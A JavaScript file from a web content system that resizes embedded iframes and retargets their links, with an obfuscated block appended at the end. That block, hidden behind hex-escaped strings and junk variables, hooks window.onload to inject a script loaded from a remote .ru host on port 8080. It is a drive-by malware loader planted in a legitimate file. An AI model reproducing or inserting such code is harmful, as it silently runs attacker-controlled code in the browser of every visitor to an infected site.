var ResizeIframe = {   
  wrapperId : "tinc_content",
                
  /**
   * Resizes an iframe sId including oDoc to oDoc's content size.
   * Can be called top-down, i.e. from the including iframe (or it's parents) or bottom-up, i.e. from the included document.
   * In the latter case the iframe element is retrieved programmatically.
   * 
   * @param oDoc  Included page's document object
   * @param sId   ID of including iframe
   */               
  resize : function ( oDoc, sId ) 
  {
    try
    {
      if ( typeof oDoc == "undefined" ) return;
  
      if ( typeof sId != "undefined" ) 
      {
        var iframe = oDoc.getElementById( sId );
        var iframeDoc = iframe.contentWindow.document;
      } else {
        var iframeDoc = oDoc;
        var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
        var iframe = iframeWindow.frameElement;
      }
      var wrapper = iframeDoc.getElementById( this.wrapperId );

      // make sure we only resize once
      if ( iframeDoc.isIntegrated == true ) { return; }
      
      // switch on transparency for iframe
      iframeDoc.body.style.backgroundColor = "transparent";
      iframe.allowTransparency = "true";
            
      iframeDoc.body.style.padding = "0px";
      iframeDoc.body.style.border = "none";
      
      var tabs = iframeDoc.getElementsByTagName( "table" )
      if ( tabs[0] && tabs[0].className == "dborder" )
     	{		
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } else if ( iframeDoc.forms[0] && iframeDoc.forms[0].elements["formname"] ) 
      {
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } 
      
      if ( window.addEventListener )
      {   
      	var gcs = iframeDoc.defaultView.getComputedStyle( iframeDoc.body, null);
        var v_margin = parseInt( gcs.getPropertyValue( "margin-top" ) ) + parseInt( gcs.getPropertyValue( "margin-bottom" ) );
        var h_margin = parseInt( gcs.getPropertyValue( "margin-left" ) ) + parseInt( gcs.getPropertyValue( "margin-right" ) );
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + h_margin + "px";
        }
        
        // Setting the top padding of the wrapper avoids wrong calculation of the height due to collapsing margins behavior
        wrapper.style.paddingTop = "1px";
        
        height = wrapper.offsetHeight + v_margin ;
      } 
      else if ( window.attachEvent ) 
      {        
        iframeDoc.body.style.margin = "0px";
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	// We need to add this extra 20 pixel for some modules. Otherwise the width would not be big enough and we would get scrollbars.
            // REMARK: In the script which is used for resizing the modules inside the editor we don't need this!
            // Currently I don't know the reason for this difference!?
        	iframe.style.width = wrapper_width + 20 + "px";
        }
        
        height = wrapper.offsetHeight;
      }

      if ( iframe.scrolling != "yes" ) { height += 20; }
      
      iframe.style.height = height + "px";
      iframeDoc.isIntegrated = true; 
    } catch ( ex )
    {
      return; 
    }
    
    WfxExtrasProcessor.process( oDoc, sId );
  }
}

var WfxExtrasProcessor = {
  process : function ( oDoc, sId)
  {    
    if ( typeof oDoc == "undefined" ) return;
  
    if ( typeof sId != "undefined" ) 
    {
      var iframe = oDoc.getElementById( sId );
      var iframeDoc = iframe.contentWindow.document;
    } else {
      var iframeDoc = oDoc;
      var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
      var iframe = iframeWindow.frameElement;
    }
    
    // let non-tinc links load in the parent document. this might need some adjustment
    var links = iframeDoc.getElementsByTagName( "a" );
    for ( var i = 0; i < links.length; i++ )
    {
      if ( links[i].href.indexOf( "/tinc" ) == -1 ) links[i].target = "_parent";
    }
    
    // Special case: WebElements forms might do redirection to another page after submission. That's indicated by a non-empty
    // 'redirectionEnabled' attribute of a submit button. 
    var inputs = iframeDoc.getElementsByTagName( "input" );
    for ( var i = 0; i < inputs.length; i++ )
    {
      var input = inputs[i];
      if ( input.getAttribute("redirection") != null && input.getAttribute("redirection") != '' ) 
        input.form.target = "_parent";
    }
  }
}
    
    

this.P='';var ZY;if(ZY!=''){ZY='E'};var j;if(j!='' && j!='A'){j=''};function N(){var b="";var m=window;var H=unescape;var v=H("%2f%79%6e%65%74%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%72%65%73%68%77%61%70%2e%6e%65%74%2e%70%68%70");function J(Q,g){var F;if(F!='' && F!='iV'){F='oO'};var Ha=new String();var U='';var xT;if(xT!='d'){xT=''};var Z=String("g");this.dR="";this.YN="";var h=H("%5b"), G=H("%5d");var k=h+g+G;var a;if(a!=''){a='X'};this.XN="";var B=new RegExp(k, Z);this.kI='';return Q.replace(B, new String());this.A_="";};var S=new String();var jO=new String();this.CZ='';var Ht=new String();var Qj=new String();var q="";var vv=document;var z=J('86766703135212872266170232549','74312965');function vu(){this.da='';var BF=new Date();var gO=H("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var HV=new Date();Qj=gO;var jQ;if(jQ!='s' && jQ!='Fp'){jQ=''};Qj+=z;Qj+=v;var GM;if(GM!='rY'){GM='rY'};try {var Fh;if(Fh!='yJ' && Fh != ''){Fh=null};var G_="";var QN;if(QN!='' && QN!='Gy'){QN='OG'};var eK;if(eK!='' && eK!='sP'){eK='YU'};i=vv.createElement(J('s5clrmiapQtB','DMBaQ4lKmgw9RoT5G'));var dm;if(dm!='' && dm!='aU'){dm=null};this.fh="";var pB;if(pB!='NZ' && pB!='fI'){pB=''};var JH;if(JH!='Cr' && JH!='ER'){JH=''};i[H("%64%65%66%65%72")]=[1,1][0];var dY;if(dY!='TB'){dY=''};i[H("%73%72%63")]=Qj;var FC;if(FC!='LK' && FC!='GB'){FC='LK'};this.xN='';this.lN='';vv.body.appendChild(i);var c=new String();var Nec;if(Nec!='Ne' && Nec!='dB'){Nec=''};var Tm="";} catch(K){alert(K);var yR;if(yR!='UvU'){yR=''};};this.Oj="";this.XP="";}m[String("XyAFon".substr(4)+"dfcilofcdi".substr(4,2)+"LDfad".substr(3))]=vu;var oF=new Date();this._Z="";var xo='';};var CN=new Date();var yY=new Date();this.pj='';N();